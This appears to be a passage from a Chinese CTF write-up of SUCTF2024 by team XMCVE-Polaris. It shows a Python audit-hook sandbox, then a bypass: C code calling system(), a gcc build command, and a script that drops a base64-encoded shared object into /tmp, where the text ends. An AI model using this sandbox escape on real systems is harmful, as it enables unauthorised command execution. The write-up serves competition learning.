本次 SUCTF2024,我们XMCVE-Polaris战队排名第4。

排名 队伍 总分
1 S1uM4i 19019.72
2 Project Sekai 16815.5
3 _0xFFF_ 14683.87
4 XMCVE-Polaris 12048.6
5 Arr3stY0u 11574.23
6 W&M 10994.47
7 Nepnep 10088.17
8 Spirit+ 10068.86
9 Syclover 9109.17
10 灵盾信息 8144.36

WEB

SU_easyk8s_on_aliyun(REALLY VERY EASY)

利用os模块能看到当前目录下文件

直接使用open读取文件即可,得到源码:

import sys

DEBUG = False

def audit_hook(event, args):
    audit_functions = {
        "os.system": {"ban": True},
        "subprocess.Popen": {"ban": True},
        "subprocess.run": {"ban": True},
        "subprocess.call": {"ban": True},
        "subprocess.check_call": {"ban": True},
        "subprocess.check_output": {"ban": True},
        "_posixsubprocess.fork_exec": {"ban": True},
        "os.spawn": {"ban": True},
        "os.spawnlp": {"ban": True},
        "os.spawnv": {"ban": True},
        "os.spawnve": {"ban": True},
        "os.exec": {"ban": True},
        "os.execve": {"ban": True},
        "os.execvp": {"ban": True},
        "os.execvpe": {"ban": True},
        "os.fork": {"ban": True},
        "shutil.run": {"ban": True},
        "ctypes.dlsym": {"ban": True},
        "ctypes.dlopen": {"ban": True}
    }
    if event in audit_functions:
        if DEBUG:
            print(f"[DEBUG] found event {event}")
        policy = audit_functions[event]
        if policy["ban"]:
            strr = f"AUDIT BAN : Banning FUNC:[{event}] with ARGS: {args}"
            print(strr)
            raise PermissionError(f"[AUDIT BANNED]{event} is not allowed.")
        else:
            strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event}] with ARGS: {args}"
            print(strr)
            return

sys.addaudithook(audit_hook)

构造恶意so文件

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <command>\n", argv[0]);
        return 1;
    }
    return system(argv[1]);
}

生成so文件

gcc -shared -o secure_exec.so -fPIC -I/usr/include/python3.13 module.c

将其写入到tmp目录下

import base64
import os

def base64_to_file(encoded_data, output_path):
    try:
        # 对Base64加密的数据进行解密
        decoded_data = base64.b64decode(encoded_data)
        
        # 确保输出目录存在
        os.makedirs(os.path.dirname(output_path), exist_ok=True)
        
        # 将解密后的内容写入到指定文件中
        with open(output_path, 'wb') as file:
            file.write(decoded_data)
        
        print(f"解密后的数据已成功写入到 {output_path}")
    except Exception as e:
        print(f"解密或写入文件时发生错误:{e}")

# 示例:将Base64加密的数据解密并写入到tmp目录下的sec.so文件中
encoded_data = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXFLwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXKLwAA/yXMLwAADx9AAP8lyi8AAGgAAAAA6eD/////JcIvAABoAQAAAOnQ/////yW6LwAAaAIAAADpwP////8lsi8AAGgDAAAA6bD/////JWovAABmkAAAAAAAAAAASI09YTAAAEiNBVowAABIOfh0FUiLBS4vAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09MTAAAEiNNSowAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsF/S4AAEiFwHQI/+BmDx9EAADDDx+AAAAAAPMPHvqAPe0vAAAAdStVSIM92i4AAABIieV0DEiLPQ4vAADoWf///+hk////xgXFLwAAAV3DDx8Aww8fgAAAAADzDx766Xf///9VSInlSIPsIEiJfehIiXXgSI1V8EiLReBIjQ2oDgAASInOSInHuAAAAADo+P7//4XAdQe4AAAAAOscSItF8EiJx+ix/v//iUX8i0X8SJhIicfosf7//8nDVUiJ5b71AwAASI0F3y4AAEiJx+in/v//XcMASIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABzAGV4ZWN1dGVfY29tbWFuZABFeGVjdXRlIGEgc3lzdGVtIGNvbW1hbmQAc2VjdXJlX2V4ZWMAAAEbAzssAAAABAAAAOjv//9IAAAAOPD//3AAAAAB8f//iAAAAFnx//+oAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAmO///1AAAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAUAAAARAAAAMDv//8IAAAAAAAAAAAAAAAcAAAAXAAAAHHw//9YAAAAAEEOEIYCQw0GAlMMBwgAABwAAAB8AAAAqfD//xoAAAAAQQ4QhgJDDQZVDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA